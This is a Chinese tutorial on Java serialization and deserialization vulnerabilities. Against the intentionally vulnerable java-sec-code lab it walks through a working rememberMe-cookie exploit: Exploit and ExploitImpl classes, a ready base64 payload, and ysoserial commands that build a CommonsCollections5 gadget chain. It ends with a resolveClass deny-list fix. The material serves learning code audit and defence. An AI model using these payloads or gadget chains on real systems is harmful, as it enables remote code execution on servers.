Java序列化与反序列化用法 序列化与反序列化介绍 对象序列化的目的:
Java是面向对象编程,在javaweb中常见的序列化的例子是SESSION,为了方便存储,将对象转换为字符串大大节省了内存空间。
对象的序列化是将Object
=>byte[]
,反序列化是将byte[]
=>Object
对象序列化须实现java.io.Serializable
接口,相当于一个标准
序列化通过ObjectOutputStream
的writeObject
方法,反序列化通过ObjectInputStream
的readObject
方法
将不需要序列化的属性前添加关键字transient
,序列化对象的时候,这个属性就默认不会序列化
可序列化的类都需要声明一个serialVersionUID
常量,如果为声明会自动计算,序列化时的serialVersionUID
需要和反序列化时的serialVersionUID
相同
如果子类对象的父类没有实现java.io.Serializable
接口,那么父类的构造函数就会被调用
java.io.Serializable序列化与反序列化 序列化与反序列化例子 Student类(继承Serizlizable类)
用ObjectOutputStream.writeObject()
序列化Student并输出到文件serialize.txt文件,从文件读取序列化的字节流并用ObjectInputStream.readObject()
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class SeriTest { public static void main (String[] args) throws Exception { Student student = new Student("123" ,"456" ,12 ); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.txt" )); objectOutputStream.writeObject(student); objectOutputStream.flush(); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.txt" )); Student stu = (Student)objectInputStream.readObject(); System.out.println(stu.getStuage()); } }
serialize.txt文件内容
也可以不输出到文件,输出到ByteArrayInputStream
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.anbai.sec.serializes;import java.io.*;import java.util.Arrays;public class DeserializationTest implements Serializable { private String username; private String email; public static void main (String[] args) { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { DeserializationTest t = new DeserializationTest(); t.setUsername("yz" ); t.setEmail("admin@javaweb.org" ); ObjectOutputStream out = new ObjectOutputStream(baos); out.writeObject(t); out.flush(); out.close(); System.out.println("DeserializationTest类序列化后的字节数组:" + Arrays.toString(baos.toByteArray())); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream in = new ObjectInputStream(bais); DeserializationTest test = (DeserializationTest) in.readObject(); System.out.println("用户名:" + test.getUsername() + ",邮箱:" + test.getEmail()); in.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } }
writeObject与readObject自定义序列化与反序列化方法 当属性有transient
关键字时,writeObject
默认不会序列化该属性,但是我们可以自定义该属性的方法
1 2 3 4 5 6 7 8 9 10 transient private int stuage; private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(stuage); } private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); this .stuage = s.readInt(); }
当我们重写writeObject之后,向对象中新增的对象,最终都会写入到objectAnnotation
这个属性中,下面通过writeObject
新增了一个字符串对象,并且通过readObject进行读取
此时使用SerializationDumper
工具进行查看能够看到该字符串对象被添加到了objectAnntation
这个属性中
1 java -jar .\SerializationDumper-v1.13.jar -r de.ser
也可以用kali下的msf-java_deserializer
1 msf-java_deserializer de.ser
java.io.Externalizable序列化与反序列化 java.io.Externalizable
和java.io.Serializable
几乎一样,只是java.io.Externalizable
接口定义了writeExternal
和readExternal
方法需要序列化和反序列化的类实现,其余的和java.io.Serializable
并无差别。
1 2 3 4 5 6 7 public interface Externalizable extends java .io .Serializable { void writeExternal (ObjectOutput out) throws IOException ; void readExternal (ObjectInput in) throws IOException, ClassNotFoundException ; }
反序列化漏洞 反序列化漏洞简单介绍 一旦用户输入的不可信数据进行了反序列化操作,那么就有可能触发序列化参数中的恶意代码,非预期的对象可能会造成任意代码执行,对服务器进行攻击等。
当readObject()存在利用点时存在反序列化漏洞,例如
1 2 3 4 5 private String command="calc" ;private void readObject (java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Runtime.getRuntime().exec(command); }
在Student类中添加以上代码,再进行反序列化操作的时候就会调用重写的这个readObjetct
,里面包含命令执行的代码,执行结果:
反序列化漏洞存在的根本原因在于反序列化后的类没有做类型限制 。
同时在Java存在大量的公用库,如Apache Commons Collections
,在这其中一些类可以被反序列化来实现任意代码执行,WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的反序列化漏洞就是利用了Apache Commons Collections
库的链子。
反序列化代码审计的思路:
查找反序列化代码关键字如ObjectInputStream.readObject
查看Class Path是否包含Apache Commons Collections等危险库(ysoserial支持的其他库也可)
反序列化代码审计的关键代码 1 2 3 4 5 6 7 ObjectInputStream.readObject ObjectInputStream.readUnshared XMLDecoder.readObject Yaml.load XStream.fromXML ObjectMapper.readValue JSON.parseObject
反序列化代码审计例子 这里用到java-sec-code 作为例子,这个项目包含了很多安全漏洞,适合Java代码审计的学习,也在注释提供了漏洞修复的代码
IDEA安装
账号密码:
1 2 admin/admin123 joychou/joychou123
反序列化代码:
在rememberVul方法中存在漏洞,首先通过getCookie获取remberMe
这个Cookie值,对其进行Base64解码之后就进行反序列化操作,没有进行反序列化后的类的类型的判断。
构造payload如下
Exploit.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import java.io.*;public class Exploit implements Serializable { private String command="calc" ; private void readObject (java.io.ObjectInputStream stream) throws Exception { stream.defaultReadObject(); Process ps = Runtime.getRuntime().exec(command); } }
注释部分为命令回显的情况,再写一个ExploitImpl用于实现Exploit类得到序列化的字节
ExploitImpl.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.io.*;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64;public class ExploitImpl { public static void main (String[] args) throws IOException { Exploit exp = new Exploit(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("seri.txt" )); out.writeObject(exp); out.flush(); out.close(); System.out.println("序列化完成" ); Path path = Paths.get("seri.txt" ); byte [] bytes = Files.readAllBytes(path); System.out.println(new String(Base64.getEncoder().encode(bytes))); } }
运行得到序列化字符串的字节组的base64值
rO0ABXNyAA9vcmcuRVhQLkV4cGxvaXQqtKzjGPgJngIAAUwAB2NvbW1hbmR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQABGNhbGM=
添加到rememberMe即可执行命令弹计算器
反序列化工具ysoserial ysoserial工具地址:https://github.com/frohoff/ysoserial
工具描述:ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects
ysoserial 是在通用 Java 库中发现的实用程序和面向属性的编程“小工具链”的集合,它们可以在适当的条件下利用执行对象不安全反序列化 的Java 应用程序
编译方法:
1 mvn clean package -DskipTests
简单用法:
1 java -jar ysoserial-[version]-all.jar [payload] '[command]'
生成CC链
1 java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 calc|base64|tr -d "\n"
BurpSuite发起请求
成功反序列化
反序列化漏洞修复 在java-sec-code中给出了修复方案:
反序列化时会通过resolveClass方法读取反序列化的类名,所以可以通过重写ObjectInputStream对象的resolveClass方法来实现对反序列化类的校验。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class AntObjectInputStream extends ObjectInputStream { protected final Logger logger= LoggerFactory.getLogger(AntObjectInputStream.class); public AntObjectInputStream (InputStream inputStream) throws IOException { super (inputStream); } @Override protected Class<?> resolveClass(final ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); logger.info("Deserialize class name: " + className); String[] denyClasses = {"java.net.InetAddress" , "org.apache.commons.collections.Transformer" , "org.apache.commons.collections.functors" }; for (String denyClass : denyClasses) { if (className.startsWith(denyClass)) { throw new InvalidClassException("Unauthorized deserialization attempt" , className); } } return super .resolveClass(desc); } }
实现方法中只需要将ObjectInputStream
换成我们的AntObjectInputStream
类就可以了
实现效果如下:
成功被拦截